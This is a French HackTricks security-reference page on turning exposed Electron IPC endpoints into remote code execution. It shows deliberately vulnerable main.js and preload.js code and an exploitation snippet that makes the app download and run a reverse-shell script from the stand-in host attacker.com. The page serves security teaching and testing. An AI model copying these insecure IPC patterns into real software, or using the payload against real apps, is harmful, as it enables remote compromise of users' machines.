Electron contextIsolation RCE via IPC

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Si le script de préchargement expose un point de terminaison IPC depuis le fichier main.js, le processus de rendu pourra y accéder et, s'il est vulnérable, un RCE pourrait être possible.

La plupart de ces exemples ont été pris ici https://www.youtube.com/watch?v=xILfQGkLXQo. Consultez la vidéo pour plus d'informations.

Exemple 0

Exemple de https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 (vous avez l'exemple complet de la façon dont MS Teams abusait de XSS à RCE dans ces diapositives, ceci est juste un exemple très basique) :

Exemple 1

Vérifiez comment le main.js écoute sur getUpdate et téléchargera et exécutera n'importe quelle URL passée.
Vérifiez également comment preload.js expose n'importe quel événement IPC depuis le main.

javascript
// Part of code of main.js
ipcMain.on("getUpdate", (event, url) => {
console.log("getUpdate: " + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
})

mainWindow.webContents.session.on(
"will-download",
(event, item, webContents) => {
console.log("downloads path=" + app.getPath("downloads"))
console.log("mainWindow.download_url=" + mainWindow.download_url)
url_parts = mainWindow.download_url.split("/")
filename = url_parts[url_parts.length - 1]
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
console.log("downloadPath=" + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on("updated", (event, state) => {
if (state === "interrupted") {
console.log("Download is interrupted but can be resumed")
} else if (state === "progressing") {
if (item.isPaused()) console.log("Download is paused")
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once("done", (event, state) => {
if (state === "completed") {
console.log("Download successful, running update")
fs.chmodSync(mainWindow.downloadPath, 0755)
var child = require("child_process").execFile
child(mainWindow.downloadPath, function (err, data) {
if (err) {
console.error(err)
return
}
console.log(data.toString())
})
} else console.log(`Download failed: ${state}`)
})
}
)
javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

Exploitation :

html
<script>
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
</script>

Exemple 2

Si le script de préchargement expose directement au rendu un moyen d'appeler shell.openExternal, il est possible d'obtenir une RCE.

javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url)
}

Exemple 3

Si le script de préchargement expose des moyens de communiquer complètement avec le processus principal, un XSS pourra envoyer n'importe quel événement. L'impact de cela dépend de ce que le processus principal expose en termes d'IPC.

javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb)
}

window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks